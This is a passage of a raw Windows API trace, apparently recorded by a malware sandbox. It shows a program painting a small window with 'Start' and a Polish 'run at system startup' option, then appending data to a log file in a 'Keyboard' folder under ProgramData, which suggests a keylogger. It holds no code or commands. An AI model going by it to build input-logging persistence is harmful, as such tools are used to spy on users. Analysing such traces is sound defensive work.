GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8ac) returned 0x0 [0065.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.497] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.497] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.497] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.497] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.497] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.497] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.497] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.497] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.497] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.497] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.497] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.497] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.497] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.497] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.497] SaveDC (hdc=0x24010944) returned 1 [0065.497] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x33040945 [0065.498] GetClipRgn (hdc=0x24010944, hrgn=0x33040945) returned 0 [0065.498] SelectClipRgn (hdc=0x24010944, hrgn=0xc7040957) returned 2 [0065.498] DeleteObject (ho=0x33040945) returned 1 [0065.498] DeleteObject (ho=0xc7040957) returned 1 [0065.498] OffsetViewportOrgEx (in: hdc=0x24010944, x=0, y=0, lppt=0x2613af0 | out: lppt=0x2613af0) returned 1 [0065.498] IsAppThemed () returned 0x1 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] GetThemeBackgroundContentRect () returned 0x0 [0065.498] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.498] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.498] IsAppThemed () returned 0x1 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] IsAppThemed () returned 0x1 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] GetThemeAppProperties () returned 0x3 [0065.498] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.498] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.498] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.498] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.498] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.498] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.498] SaveDC (hdc=0x24010944) returned 1 [0065.498] GetTextAlign (hdc=0x24010944) returned 0x0 [0065.498] GetTextColor (hdc=0x24010944) returned 0x0 [0065.499] SetTextColor (hdc=0x24010944, color=0xa0a0a0) returned 0x0 [0065.499] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.499] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.499] SelectObject (hdc=0x24010944, h=0x70a0932) returned 0x18a002e [0065.499] GetBkMode (hdc=0x24010944) returned 2 [0065.499] SetBkMode (hdc=0x24010944, mode=1) returned 2 [0065.499] DrawTextExW (in: hdc=0x24010944, lpchText="Start", cchText=5, lprc=0x3ae820, format=0x102415, lpdtp=0x2613f9c | out: lpchText="Start", lprc=0x3ae820) returned 13 [0065.499] DrawTextExW (in: hdc=0x24010944, lpchText="Start", cchText=5, lprc=0x3ae970, format=0x102015, lpdtp=0x2613f9c | out: lpchText="Start", lprc=0x3ae970) returned 13 [0065.500] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.500] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.500] GetFocus () returned 0x1025e [0065.500] IsAppThemed () returned 0x1 [0065.500] GetThemeAppProperties () returned 0x3 [0065.500] GetThemeAppProperties () returned 0x3 [0065.500] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.500] BitBlt (hdc=0x701093a, x=0, y=0, cx=84, cy=23, hdcSrc=0x24010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.500] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.500] SelectPalette (hdc=0x701093a, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.500] SelectObject (hdc=0x24010944, h=0x185000f) returned 0x3e05094d [0065.500] DeleteDC (hdc=0x24010944) returned 1 [0065.500] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.500] EndPaint (hWnd=0x1025c, lpPaint=0x3aeb6c) returned 1 [0065.500] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.500] IsWindowUnicode (hWnd=0x1025e) returned 1 [0065.500] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.500] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.500] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.500] BeginPaint (in: hWnd=0x1025e, lpPaint=0x3aeb7c | out: lpPaint=0x3aeb7c) returned 0x180107ac [0065.500] SelectPalette (hdc=0x180107ac, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.500] CreateCompatibleDC (hdc=0x180107ac) returned 0x26010944 [0065.500] DeleteObject (ho=0x3e05094d) returned 1 [0065.500] GetObjectType (h=0x180107ac) returned 0x3 [0065.500] CreateCompatibleBitmap (hdc=0x180107ac, cx=1, cy=1) returned 0x4c05093b [0065.500] GetDIBits (in: hdc=0x180107ac, hbm=0x4c05093b, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x3ae64c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae64c) returned 1 [0065.501] GetDIBits (in: hdc=0x180107ac, hbm=0x4c05093b, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3ae64c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae64c) returned 1 [0065.501] DeleteObject (ho=0x4c05093b) returned 1 [0065.501] CreateDIBSection (in: hdc=0x180107ac, lpbmi=0x3ae69c, usage=0x0, ppvBits=0x3aeb90, hSection=0x0, offset=0x0 | out: ppvBits=0x3aeb90) returned 0x3f05094d [0065.501] SelectObject (hdc=0x26010944, h=0x3f05094d) returned 0x185000f [0065.501] GdipCreateFromHDC (hdc=0x26010944, graphics=0x3aeb74) returned 0x0 [0065.501] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.501] GdipSetClipRectI (graphics=0x4ba1580, x=160, y=0, width=1, height=17, combineMode=0x0) returned 0x0 [0065.501] GdipCreateMatrix (matrix=0x3aebdc) returned 0x0 [0065.501] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.501] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3aebf4) returned 0x0 [0065.501] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.501] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.501] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.501] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.501] GdipCreateRegion (region=0x3aebdc) returned 0x0 [0065.501] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.501] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebe8) returned 0x0 [0065.501] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec14) returned 0x0 [0065.501] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfd9e0dbd) returned 0x0 [0065.501] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.501] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea88) returned 0x0 [0065.501] GetCurrentObject (hdc=0x26010944, type=0x1) returned 0x1b00017 [0065.501] GetCurrentObject (hdc=0x26010944, type=0x2) returned 0x1900010 [0065.501] GetCurrentObject (hdc=0x26010944, type=0x7) returned 0x3f05094d [0065.501] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.501] SaveDC (hdc=0x26010944) returned 1 [0065.501] GetNearestColor (hdc=0x26010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.501] GetNearestColor (hdc=0x26010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.501] GetNearestColor (hdc=0x26010944, color=0x696969) returned 0x696969 [0065.502] GetNearestColor (hdc=0x26010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.502] GetNearestColor (hdc=0x26010944, color=0x0) returned 0x0 [0065.502] GetNearestColor (hdc=0x26010944, color=0xffffff) returned 0xffffff [0065.502] GetNearestColor (hdc=0x26010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.502] GetNearestColor (hdc=0x26010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.502] GetNearestColor (hdc=0x26010944, color=0x0) returned 0x0 [0065.502] RestoreDC (hdc=0x26010944, nSavedDC=-1) returned 1 [0065.502] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.502] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea50, fWinIni=0x0 | out: pvParam=0x3aea50) returned 1 [0065.502] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.502] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.502] IsAppThemed () returned 0x1 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] IsAppThemed () returned 0x1 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3aeb00) returned 0x0 [0065.502] IsAppThemed () returned 0x1 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] IsAppThemed () returned 0x1 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] GetThemeAppProperties () returned 0x3 [0065.502] IsThemePartDefined () returned 0x1 [0065.502] GdipCreateRegion (region=0x3aea10) returned 0x0 [0065.502] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0065.502] GdipCreateMatrix (matrix=0x3aea10) returned 0x0 [0065.502] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4bf37e0) returned 0x0 [0065.502] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aea28) returned 0x0 [0065.502] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.502] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.502] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.502] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.502] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3aea54) returned 0x0 [0065.502] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0065.502] GdipGetDC (graphics=0x4c28160, hdc=0x3aea5c) returned 0x0 [0065.502] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0065.502] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0065.502] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0065.503] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.503] SaveDC (hdc=0x15010934) returned 2 [0065.503] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x2615a54 | out: lppt=0x2615a54) returned 1 [0065.503] IsAppThemed () returned 0x1 [0065.503] GetThemeAppProperties () returned 0x3 [0065.503] GetThemeAppProperties () returned 0x3 [0065.503] GetThemePartSize () returned 0x0 [0065.503] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0065.503] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0065.503] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0065.503] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.503] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae7e8 | out: pv=0x3ae7e8) returned 92 [0065.503] DrawTextExW (in: hdc=0x15010934, lpchText="Uruchom ze startem systemu", cchText=26, lprc=0x3ae924, format=0x102414, lpdtp=0x2615bc4 | out: lpchText="Uruchom ze startem systemu", lprc=0x3ae924) returned 13 [0065.503] IsAppThemed () returned 0x1 [0065.503] GetThemeAppProperties () returned 0x3 [0065.503] GetThemeAppProperties () returned 0x3 [0065.503] GdipCreateRegion (region=0x3ae9a8) returned 0x0 [0065.503] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.503] GdipCreateMatrix (matrix=0x3ae9a8) returned 0x0 [0065.503] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.503] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae9c0) returned 0x0 [0065.503] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.503] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.503] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.503] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.503] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.503] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.503] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.503] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae9ec) returned 0x0 [0065.504] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae9dc) returned 0x0 [0065.504] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae9dc) returned 0x0 [0065.504] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.504] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9f4) returned 0x0 [0065.504] GetCurrentObject (hdc=0x26010944, type=0x1) returned 0x1b00017 [0065.504] GetCurrentObject (hdc=0x26010944, type=0x2) returned 0x1900010 [0065.504] GetCurrentObject (hdc=0x26010944, type=0x7) returned 0x3f05094d [0065.504] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.504] SaveDC (hdc=0x26010944) returned 1 [0065.504] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc8040957 [0065.504] GetClipRgn (hdc=0x26010944, hrgn=0xc8040957) returned 0 [0065.504] SelectClipRgn (hdc=0x26010944, hrgn=0x37040945) returned 2 [0065.504] DeleteObject (ho=0xc8040957) returned 1 [0065.504] DeleteObject (ho=0x37040945) returned 1 [0065.504] OffsetViewportOrgEx (in: hdc=0x26010944, x=0, y=0, lppt=0x2615f00 | out: lppt=0x2615f00) returned 1 [0065.504] GetNearestColor (hdc=0x26010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.504] CreateSolidBrush (color=0xf0f0f0) returned 0x28100940 [0065.504] FillRect (hDC=0x26010944, lprc=0x3ae9f8, hbr=0x28100940) returned 1 [0065.504] DeleteObject (ho=0x28100940) returned 1 [0065.504] RestoreDC (hdc=0x26010944, nSavedDC=-1) returned 1 [0065.504] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.504] IsAppThemed () returned 0x1 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] IsAppThemed () returned 0x1 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] IsAppThemed () returned 0x1 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] IsAppThemed () returned 0x1 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] GetThemeAppProperties () returned 0x3 [0065.504] IsThemePartDefined () returned 0x1 [0065.504] GdipCreateRegion (region=0x3ae9fc) returned 0x0 [0065.504] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.504] GdipCreateMatrix (matrix=0x3ae9fc) returned 0x0 [0065.505] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.505] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aea14) returned 0x0 [0065.505] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.505] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.505] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.505] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.505] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.505] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.505] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.505] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea40) returned 0x0 [0065.505] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea30) returned 0x0 [0065.505] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3aea30) returned 0x0 [0065.505] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.505] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea48) returned 0x0 [0065.505] GetCurrentObject (hdc=0x26010944, type=0x1) returned 0x1b00017 [0065.505] GetCurrentObject (hdc=0x26010944, type=0x2) returned 0x1900010 [0065.505] GetCurrentObject (hdc=0x26010944, type=0x7) returned 0x3f05094d [0065.505] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.505] SaveDC (hdc=0x26010944) returned 1 [0065.505] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x38040945 [0065.505] GetClipRgn (hdc=0x26010944, hrgn=0x38040945) returned 0 [0065.505] SelectClipRgn (hdc=0x26010944, hrgn=0xc9040957) returned 2 [0065.505] DeleteObject (ho=0x38040945) returned 1 [0065.505] DeleteObject (ho=0xc9040957) returned 1 [0065.505] OffsetViewportOrgEx (in: hdc=0x26010944, x=0, y=0, lppt=0x261645c | out: lppt=0x261645c) returned 1 [0065.505] IsAppThemed () returned 0x1 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] GetThemePartSize () returned 0x0 [0065.505] RestoreDC (hdc=0x26010944, nSavedDC=-1) returned 1 [0065.505] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.505] IsAppThemed () returned 0x1 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] IsAppThemed () returned 0x1 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] GetThemeAppProperties () returned 0x3 [0065.505] IsThemePartDefined () returned 0x1 [0065.505] GdipCreateRegion (region=0x3ae9fc) returned 0x0 [0065.505] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.505] GdipCreateMatrix (matrix=0x3ae9fc) returned 0x0 [0065.505] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.506] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3aea14) returned 0x0 [0065.506] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.506] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.506] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.506] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.506] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.506] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.506] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.506] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea40) returned 0x0 [0065.506] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea30) returned 0x0 [0065.506] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3aea30) returned 0x0 [0065.506] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.506] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea48) returned 0x0 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x1) returned 0x1b00017 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x2) returned 0x1900010 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x7) returned 0x3f05094d [0065.506] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.506] SaveDC (hdc=0x26010944) returned 1 [0065.506] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xca040957 [0065.506] GetClipRgn (hdc=0x26010944, hrgn=0xca040957) returned 0 [0065.506] SelectClipRgn (hdc=0x26010944, hrgn=0x39040945) returned 2 [0065.506] DeleteObject (ho=0xca040957) returned 1 [0065.506] DeleteObject (ho=0x39040945) returned 1 [0065.506] OffsetViewportOrgEx (in: hdc=0x26010944, x=0, y=0, lppt=0x2616858 | out: lppt=0x2616858) returned 1 [0065.506] IsAppThemed () returned 0x1 [0065.506] GetThemeAppProperties () returned 0x3 [0065.506] GetThemeAppProperties () returned 0x3 [0065.506] DrawThemeBackground () returned 0x0 [0065.506] RestoreDC (hdc=0x26010944, nSavedDC=-1) returned 1 [0065.506] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.506] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3aea4c) returned 0x0 [0065.506] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea38) returned 0x0 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x1) returned 0x1b00017 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x2) returned 0x1900010 [0065.506] GetCurrentObject (hdc=0x26010944, type=0x7) returned 0x3f05094d [0065.506] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.506] SaveDC (hdc=0x26010944) returned 1 [0065.506] GetTextAlign (hdc=0x26010944) returned 0x0 [0065.507] GetTextColor (hdc=0x26010944) returned 0x0 [0065.507] GetCurrentObject (hdc=0x26010944, type=0x6) returned 0x18a002e [0065.507] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae798 | out: pv=0x3ae798) returned 92 [0065.507] SelectObject (hdc=0x26010944, h=0x70a0932) returned 0x18a002e [0065.507] GetBkMode (hdc=0x26010944) returned 2 [0065.507] SetBkMode (hdc=0x26010944, mode=1) returned 2 [0065.507] DrawTextExW (in: hdc=0x26010944, lpchText="Uruchom ze startem systemu", cchText=26, lprc=0x3ae87c, format=0x102414, lpdtp=0x2616b30 | out: lpchText="Uruchom ze startem systemu", lprc=0x3ae87c) returned 13 [0065.507] DrawTextExW (in: hdc=0x26010944, lpchText="Uruchom ze startem systemu", cchText=26, lprc=0x3ae9cc, format=0x102014, lpdtp=0x2616b30 | out: lpchText="Uruchom ze startem systemu", lprc=0x3ae9cc) returned 13 [0065.507] RestoreDC (hdc=0x26010944, nSavedDC=-1) returned 1 [0065.507] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.507] GetFocus () returned 0x1025e [0065.507] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aeaf8, fWinIni=0x0 | out: pvParam=0x3aeaf8) returned 1 [0065.507] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.507] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.508] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebd4) returned 0x0 [0065.508] BitBlt (hdc=0x180107ac, x=0, y=0, cx=161, cy=17, hdcSrc=0x26010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.508] GdipReleaseDC (graphics=0x4ba1580, hdc=0x26010944) returned 0x0 [0065.508] SelectPalette (hdc=0x180107ac, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.508] SelectObject (hdc=0x26010944, h=0x185000f) returned 0x3f05094d [0065.508] DeleteDC (hdc=0x26010944) returned 1 [0065.508] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.508] EndPaint (hWnd=0x1025e, lpPaint=0x3aeb78) returned 1 [0065.508] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0065.508] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0065.655] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.655] IsWindowUnicode (hWnd=0x10266) returned 1 [0065.655] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.655] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.655] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.655] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0065.655] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 0 [0065.655] WaitMessage () returned 1 [0066.016] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0066.016] IsWindowUnicode (hWnd=0x3010c) returned 1 [0066.016] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0066.016] TranslateMessage (lpMsg=0x3af06c) returned 0 [0066.017] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0066.020] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log", nBufferLength=0x105, lpBuffer=0x3add8c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard\\17102017_012722.log", lpFilePart=0x0) returned 0x2b [0066.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae268) returned 1 [0066.020] CreateFileW (lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log" (normalized: "c:\\programdata\\keyboard\\17102017_012722.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x52c [0066.020] GetFileType (hFile=0x52c) returned 0x1 [0066.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae264) returned 1 [0066.020] GetFileType (hFile=0x52c) returned 0x1 [0066.020] SetFilePointer (in: hFile=0x52c, lDistanceToMove=0, lpDistanceToMoveHigh=0x3ae23c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x3ae23c*=0) returned 0x25 [0066.020] WriteFile (in: hFile=0x52c, lpBuffer=0x264c21c*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3ae314, lpOverlapped=0x0 | out: lpBuffer=0x264c21c*, lpNumberOfBytesWritten=0x3ae314*=0x30, lpOverlapped=0x0) returned 1 [0066.021] CloseHandle (hObject=0x52c) returned 1 [0066.022] EnableWindow (hWnd=0x1025c, bEnable=1) returned 1 [0066.022] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0066.022] GetStockObject (i=5) returned 0x1900015 [0066.022] GetStockObject (i=5) returned 0x1900015 [0066.022] GetDlgItem (hDlg=0x401f0, nIDDlgItem=66140) returned 0x1025c [0066.022] SendMessageW (hWnd=0x1025c, 